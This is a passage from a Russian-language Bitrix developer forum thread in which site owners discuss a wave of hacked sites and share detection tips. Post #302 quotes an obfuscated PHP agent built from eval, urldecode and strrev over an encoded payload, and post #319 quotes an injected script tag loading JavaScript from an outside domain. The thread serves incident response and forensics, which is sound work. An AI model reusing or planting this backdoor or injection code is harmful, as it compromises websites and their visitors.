Разработчикам

Взломаны сайты в честь дня конституции украины

Пользователь 181407 Постоянный посетитель Сообщений: 68 Баллов: 10 Регистрация: 09.08.2015	#301 08.11.2022 13:18:16 Я запретил папке prolog и файлу core.js редактирование, пока вирус не появлялся после этого. Следим за развитием ситуации...

Пользователь 462185

Заглянувший

Сообщений: 3 Регистрация: 14.01.2016

#302

09.11.2022 16:49:29

Здравствуйте, подскажите пожалуйста, обнаружили неизвестный нам агент на сайте, с таким содержимым:

Код

$arAgent["NAME"];//b3)!UCls}iWP:za #<n8HCZak~chvX[%g@[HF1LrCeval   //%L'6v[ ^P/):8#Mu^n4o.wMCYt<^}vUkn(8-,*.>Ed"(    //y0qoOW 2Rdq Re`X[%|bAWqRO4~rOSxwNz;\1kSjurldecode#@t3N(Zno!4p;m(//}v2Cf|SU5l.EGJ[ <]wfAL)RUstrrev//Oj]iSN}~!&{rC^a^b$ARzI@?NB(#HB9QbQPM}hFU,4?c-[$Iy@'b3%56%57%27%47%02%e6%27%57%47%56%27%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%27%42%82%c6%16%67%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%56%37%c6%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%27%42%02%d3%02%47%c6%57%37%56%27%f5%c6%16%67%56%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%44%f4%94%25%54%05%f5%35%94%02%c2%03%63%02%d3%02%c4%14%65%25%54%45%e4%94%f5%45%e4%54%74%14%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%92%d5%22%87%87%87%56%27%f6%47%37%56%27%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%72%b3%92%82%16%47%16%44%47%96%d6%26%57%37%a3%a3%56%c6%26%16%45%16%47%16%44%27%56%47%e6%57%f6%34%c5%c5%37%36%96%47%97%c6%16%e6%14%c5%c5%e6%96%16%d4%c5%c5%87%96%27%47%96%24%c5%c5%72%02%d3%02%27%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%56%37%c6%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%47%96%87%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%56%42%02%e6%f6%96%47%07%56%36%87%54%82%02%86%36%47%16%36%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%56%46%f6%36%56%46%c6%27%57%82%56%46%f6%36%56%46%c6%27%57%82%c6%16%67%56%02%d3%02%56%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%97%27%47%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%a0%d0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%74%e4%94%e4%e4%55%25%02%c2%03%02%d3%02%45%e4%55%f4%34%f5%95%25%45%54%25%02%c2%c4%c4%55%e4%02%d3%02%b4%34%54%84%34%f5%54%45%14%44%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%' /*7s%]YC79!(Iy!PH8p|^qS(PL`N|AtTXpgR]v/9Oya*/)#BrDTVN{4;~2]^<?C6UrR!Dfo_}E2)/*|q:uZO]rm%VOw=\p@cg+C|>f*/)      //xTiGO#1\ITXAI&--/VB8E>z9[rS|gE\$Ao%;#S+i?m<*K;QF,mT&g7L%Ho"o5%@n\}!^

Видно что агент выполнялся, но каких то модифицированных файлов в каталогах сайтах мы не обнаружили.
Нельзя ли определить, какой вред мог нанести данный код?

Пользователь 91502

Посетитель

Сообщений: 42 Баллов: 6 Регистрация: 17.05.2011

#303

10.11.2022 00:31:38

Я если честно пока ветку дочитал просто чуть со смеху не помер, есть хоть кто то кто осознал проблему BITRIX , хоть кто-то кто понимает что вся линейка BITRIX просто дыра возможно не умышленно сделали лазейки для себя а возможно по тупости и некомпетентности. Скачал свежую сборочку и проверил на несколько видов атак.. был удивлен и разочарован, дыры пришлось устранять самостоятельно, разочарую всех у кого не VPS ... ГОТОВЬТЕСЬ К ВЗЛОМУ ИЛИ ПРОСТО ИЩИТЕ НОВЫЙ ДВИЖОК...

Пользователь 47756

Заглянувший

Сообщений: 5 Регистрация: 26.08.2009

#304

10.11.2022 00:53:14

Цитата

написал:
Я если честно пока ветку дочитал просто чуть со смеху не помер, есть хоть кто то кто осознал проблему BITRIX , хоть кто-то кто понимает что вся линейка BITRIX просто дыра возможно не умышленно сделали лазейки для себя а возможно по тупости и некомпетентности. Скачал свежую сборочку и проверил на несколько видов атак.. был удивлен и разочарован, дыры пришлось устранять самостоятельно, разочарую всех у кого не VPS ... ГОТОВЬТЕСЬ К ВЗЛОМУ ИЛИ ПРОСТО ИЩИТЕ НОВЫЙ ДВИЖОК...

Сборочкой не поделитесь ?

Пользователь 13618

Эксперт

Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011

Сертифицированный партнер

#305

10.11.2022 03:54:35

Алексей Чебанов, поясните этот момент

Цитата
разочарую всех у кого не VPS ...

. В чем разница?

Какие именно виды атак на свежей сборки прошли?
Какие дыры Вы залатали?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 91502

Посетитель

Сообщений: 42 Баллов: 6 Регистрация: 17.05.2011

#306

10.11.2022 21:24:33

Еще раз отвечу и думаю поставлю точку. Я не могу Вам тут описать метод взлома и уязвимости БИТРИКС это не законно, кому нужна свежая сборка скачивайте виртуальную машину и далее делайте стандартную установку предложенными в упаковке скриптами. Чтоб как то себя обезопасить делайте копию рабочего сайта каждые 12 часов. Я готов выложить компании Битрикс решения для ВПС серверов sab-ip@mail.ru . А ведь помница мне как я ругался с поддержкой и ранее описывал им их ошибки и халатность, допрыгались , слушать надо когда Вам что то говорят , а не оскорблять. Пожинаем плоды дебилокодеров

Пользователь 13618 Эксперт Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011 Сертифицированный партнер	#307 11.11.2022 03:38:42 Алексей Чебанов, Вас оскорбляли? Так и не понял, чем решение для vps будет отличаться от решения для шаред хостинга Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 6748714

Заглянувший

Сообщений: 1 Регистрация: 11.11.2022

#308

11.11.2022 20:27:50

Цитата

написал:
Еще раз отвечу и думаю поставлю точку. Я не могу Вам тут описать метод взлома и уязвимости БИТРИКС это не законно, кому нужна свежая сборка скачивайте виртуальную машину и далее делайте стандартную установку предложенными в упаковке скриптами. Чтоб как то себя обезопасить делайте копию рабочего сайта каждые 12 часов. Я готов выложить компании Битрикс решения для ВПС серверов sab-ip@mail.ru . А ведь помница мне как я ругался с поддержкой и ранее описывал им их ошибки и халатность, допрыгались , слушать надо когда Вам что то говорят , а не оскорблять. Пожинаем плоды дебилокодеров

Что в описании уязвимостей незаконного? Но раз уж так считаешь, поделись хотя бы одной уже закрытой и неизвестной уязвимостью, типа инъекции или подобного. Воздух сотрясаешь просто и людей оскорбляешь почём зря.
Решениями он поделится, без тебя эксперта разберутся. Делать копию каждые 12 часов... а почему не 6? Вовремя обновляться надо и следовать лучшим практикам безопасности, вот и все.

Пользователь 6403492 Заглянувший Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022	#309 14.11.2022 22:51:27 История получила продолжение Проверяйте у себя /usr/sbin/arpspoof И если он есть, то вероятно ваша сеть (ессно помимо сервера) скомпроментированы

Пользователь 6403492 Заглянувший Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022	#310 14.11.2022 22:55:39 Это если кроны битры выполнялись от рута вероятно Многие не учитывают почему-то этот момент

Пользователь 13618

Эксперт

Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011

Сертифицированный партнер

#311

15.11.2022 04:11:41

Цитата
G_117158064567874128672 написал: Это если кроны битры выполнялись от рута вероятно

Зачем кому-то это делать?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 6403492

Заглянувший

Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022

#312

15.11.2022 05:29:52

Цитата
написал: Зачем кому-то это делать?

Я не знаю, но человек выше который про НЕ VPS писал может быть был взломан именно так
По сути изучают внутреннюю сеть для дальнейших атак
Выяснили как раз за счёт спуфинга некоторых адресов наших клиентов

У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Пользователь 4281601

Постоянный посетитель

Сообщений: 174 Баллов: 28 Регистрация: 14.08.2020

#313

15.11.2022 14:49:49

Цитата
написал: У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Как говорится - главная проблема на против монитора

Автоматизация Торговли (319758.ru)

Пользователь 13618

Эксперт

Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011

Сертифицированный партнер

#314

15.11.2022 15:28:02

Цитата
G_117158064567874128672 написал: У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Дак это ж всё - сразу "Привет"
Скрипт будет выполняться от рута, со всеми вытекающими ...

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 4281601

Постоянный посетитель

Сообщений: 174 Баллов: 28 Регистрация: 14.08.2020

#315

16.11.2022 02:35:03

Цитата
написал: Снова был модифицирован файл core.js, хотя у него запрещено редактирование

Лучше бы логи скинули через какой файл инъекция

Автоматизация Торговли (319758.ru)

Пользователь 2494815 Заглянувший Сообщений: 10 Регистрация: 26.10.2018	#316 16.11.2022 04:02:08 =)

Пользователь 1854799

Заглянувший

Сообщений: 3 Регистрация: 16.03.2018

#317

16.11.2022 08:38:02

Цитата

написал:
Нуссс.. ребята. Рад был присутствовать в вашей компашке и по совместительству с 1С -Битрикс. За 2 месяца я написал сайт на WP и перенес все туда. Всем спасибо, всем пока) Битриксу удачи в борьбе с "Дырками". А вам участники форума и коллеги - не падать духом. Да прибудет с вами ROOT!

Отлично. Рады пополнению! Приглашаем тебя на форум вордпресса, у нас много тем для обсуждения. Недавно вышло обновление 6.1.1 с исправлением уязвимостей и 50 ошибок, есть что обсудить.

Пользователь 738197

Заглянувший

Сообщений: 2 Регистрация: 16.11.2016

#318

28.11.2022 12:09:53

Цитата

написал:

Цитата
написал: pload/tmp/BXTEMP-ДД-ММ-ГГ создаетс

Спасибо за ответ. А наличие какого файла в папке upload/tmp/BXTEMP-ДД-ММ-ГГ будет считаться наличием вируса на сайте ? там внутри много папок и файлов разных...

У меня тоже нашлась крайне странная папка похожая, снёс её нафиг - посмотрим.

Обновление ядра не помогло ранее.

Пользователь 330739 Посетитель Сообщений: 46 Баллов: 7 Регистрация: 16.04.2015	#319 28.11.2022 18:21:14 в prolog и core.js нет вредоносных строк, а код сайта встраивается <sc ript src='https://storepay.pw/jqueryui.js'></sc ript> Где может еще прятаться?

Пользователь 13618

Эксперт

Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011

Сертифицированный партнер

#320

29.11.2022 15:50:37

Цитата
Максим Алекс написал: Спасибо за ответ. А наличие какого файла в папке upload/tmp/BXTEMP-ДД-ММ-ГГ будет считаться наличием вируса на сайте ? там внутри много папок и файлов разных...

судя по информации в статьях из предыдущего поста - с большой долей вероятности вас взломали через уязвимость html_editor_action.php - все симптомы взлом "на лицо"

на сайте, где в данный момент занимаюсь этой проблемой обнаружил тоже самое
"снос" данной папки Вам вообще ничего не даст - это следы взлома, нужно защищать html_editor_action.php либо обновляться

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 5339718

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 11.06.2021

#321

15.12.2022 10:45:02

Цитата
написал: Отлично. Рады пополнению! Приглашаем тебя на форум вордпресса, у нас много тем для обсуждения. Недавно вышло обновление 6.1.1 с исправлением уязвимостей и 50 ошибок, есть что обсудить.

Я так понимаю автор цитаты, которую вы комментировали удалил свое сообщение, Даже через локальный поиск яндекса не смог найти. Вообщем шило на мыло автор заменил. Если уже переезжать, то на фреймворк.

Пользователь 5339718

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 11.06.2021

#322

15.12.2022 10:48:14

Цитата

Это CMS и как любая другая они по своему уязвимы. Вопрос высокой защиты к ним точно не относится, хоть к битриксу хоть к WP.

Пользователь 50094

Заглянувший

Сообщений: 5 Баллов: 1 Регистрация: 14.04.2017

#323

29.12.2022 13:40:38

Да, хотел бы прояснить одну ситуацию: дата изменения файла. Говорите, что файл main.php и прочие были модифицированы последний раз очень давно. Если бы не одно "но". Из PHP дата изменения файла меняется через команду touch(). Эта команда меняет время модификации файла, так называемый mtime. Но она не меняет время изменения статуса файла, т.е. время изменения свойств и метаданных файла, т.е. ctime. В консоли линукса нужно запустить команду stat имя_файла, т.е. например, чтобы посмотреть ctime для файла /bitrix/components/bitrix/main.file.input/main.php, вводим:

Код
stat /bitrix/components/bitrix/main.file.input/main.php

Или заходим в папку, содержащую файл, и набираем

Код
stat ./main.php

(обратите внимание на точку перед слэшем).
В итоге мы получим такую картину:

Код

  File: ./main.php
  Size: 12267           Blocks: 24         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 24518556    Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1030/sitename.ru)   Gid: ( 1030/sitename.ru)
Access: 2022-12-29 01:52:29.622924456 +0300
Modify: 2022-01-13 15:05:15.000000000 +0300
Change: 2022-11-25 07:23:52.775251848 +0300
 Birth: -

Все файлы в этой папке датированы 2022-01-13, что мы и наблюдаем в строке "Modify". Но фактически файл был изменен 25 ноября - строка "Change".
Это подтвердилось в ситуации, когда я проверял другой файл. 26.12.2022 года была сделана резервная копия сайта и развернута на компе, 27.12.2022 в проверяемом файле появились изменения, но дата изменения этого файла стояла вообще апрелем 2022. На компе же изменений в этом файле не оказалось. И только командой stat смог узнать, что на самом деле файл был изменен 27.12.2022.

Так что те, у кого файл датирован то 2019 годом, то еще каким-то, проверьте строку "Change" через команду stat (если, конечно, сами этот файл не трогали).

Пользователь 515353

Заглянувший

Сообщений: 20 Баллов: 1 Регистрация: 04.03.2016

#324

09.01.2023 13:47:36

Александр Оносов, спасибо, коллега, что подробно разъяснил этот момент начинающим программистам - мне было лень это писать) Добавлю, что поиск изменённых файлов надо делать с помощью флага ctime, а не mtime:

Код
find . -not -path "bitrix/cache/*" -type f -ctime -30 -printf '%TY-%Tm-%Td %TT %p\n' \| sort -r > 30.log

Перед НГ преступники взломали один интернет-магазин, используя уязвимость bitrix/tools/html_editor_action.php. Пришлось разбираться с этим несколько часов. Если бы директория хранения временных файлов была вынесена за пределы сайта, то у преступника ничего не получилось бы.

Создание и поддержка сайтов: https://evgenydonich.ru

Пользователь 13618

Эксперт

Сообщений: 1342 Баллов: 226 Регистрация: 05.04.2011

Сертифицированный партнер

#325

09.01.2023 13:51:08

Цитата
Евгений Донич написал: Если бы директория хранения временных файлов была вынесена за пределы сайта, то у преступника ничего не получилось бы.

почему Вы так решили?
на сколько я понимаю там несколько другой механизм задействован - т.е. /upload/tmp/ это не = директория хранения временных файлов

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Взломаны сайты в честь дня конституции украины

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером